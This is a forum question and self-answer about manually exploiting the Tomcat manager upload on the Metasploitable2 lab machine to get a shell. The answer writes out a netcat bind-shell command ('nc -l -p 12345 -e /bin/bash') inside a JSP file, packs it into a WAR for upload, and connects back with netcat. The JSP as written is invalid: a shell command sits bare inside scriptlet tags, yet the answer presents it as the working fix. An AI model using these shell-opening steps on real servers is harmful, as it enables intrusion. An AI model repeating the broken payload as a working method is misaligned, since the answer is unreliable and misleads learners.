Tomcat War Payload not working

Question

So I am currently working my way through a few books. One of which had me download the metasploitable2 vm. This machine has a tomcat server running on it which I successfully exploited using Metasploit. I used Metasploit to brute-force the login credentials and then I used a bug in the upload manager to send a bind to TCP payload. That all worked swimmingly. Now I want to figure out how to do it by hand.

I managed to brute force the login by hand but I am having issues getting even a basic payload scenario to work.

From my understanding the way this works is Tomcat will let you stick a malicious JSP inside of a WAR and upload it to their server to run. When it runs the JSP a shell can be achieved.

Ultimately what I want to do is programmatically inject a payload that I craft in python into the server and get a reverse shell all without using Metasploit at all. However, I need to work up to that so I figured I would just start with taking a generated Metasploit payload and uploading it into the server via the upload manager interface.

Steps taken to exploit the machine

1. Brute forced the login
2. Generated a reverse_tcp payload with the same info that made it work when deployed from Metasploit
3. Logged into the tomcat manager service
4. Browsed to my WAR payload and uploaded it
5. Setup netcat to listen
6. In the browser, navigate to my payload. http://internalip:8180/mypayload/

No luck. Nothing calls back to me. In fact when I navigate to the link it says 404 cant be found even though the application shows up in the application list.

Answer 1

Okay so after taking the advice from a comment above about seeing what was actually uploaded to the server I was able to solve this problem.

The payload

So it seems that by attempting to take the 'easy' way first and use a precompiled WAR file was where I went wrong. That's because I had no idea what the JSP file inside of the war was called. When I logged onto the server and looked in the tomcat5.5 webapps directory it was immediately clear what the application name was and I was able to reference it. Though, I couldn't get the shell to work.

Building my own payload

So I decided to take the other path which was build my own payload and upload it.

First I created a JSP file with my netcat command in it

echo '<% nc -l -p 12345 -e /bin/bash %>' > payload.jsp

Then I created a war file with it

jar -c payload.jsp > payload.war

Finally I uploaded it to the server with my upload tool and called it in the browser.

TargetMachineIp:TomcatPort/tomcat_exploit_dir/payload.jsp

Then I just connected to it with netcat

nc targetmachineip targetport 
...Profit...

You can see my full write up on how I did it here